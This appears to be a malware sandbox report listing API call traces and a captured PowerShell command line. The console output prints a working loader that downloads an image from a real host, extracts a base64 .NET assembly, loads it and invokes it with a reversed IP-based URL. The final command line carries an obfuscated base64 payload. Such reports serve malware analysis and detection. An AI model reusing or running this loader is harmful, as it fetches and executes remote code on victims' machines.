 buffer: es = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encodin
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: g]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<B
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageTex
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: t.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startInde
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: x += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conve
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: rt]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Asse
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: mbly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$metho
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: d = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth')
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: ;$method.Invoke($null, $arguments)
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:248
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/unive
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: rso_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageByt
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: es = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UT
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: F8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<B
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: ASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageTex
console_handle: 0x00000163
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023bca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023bae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023bae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023bae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c3a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c4e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0023c768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006be680
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006bf340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02990000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2924
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x724e1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2924
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x724e2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02682000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b01000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b02000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02683000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02684000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02685000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02af0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02686000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBt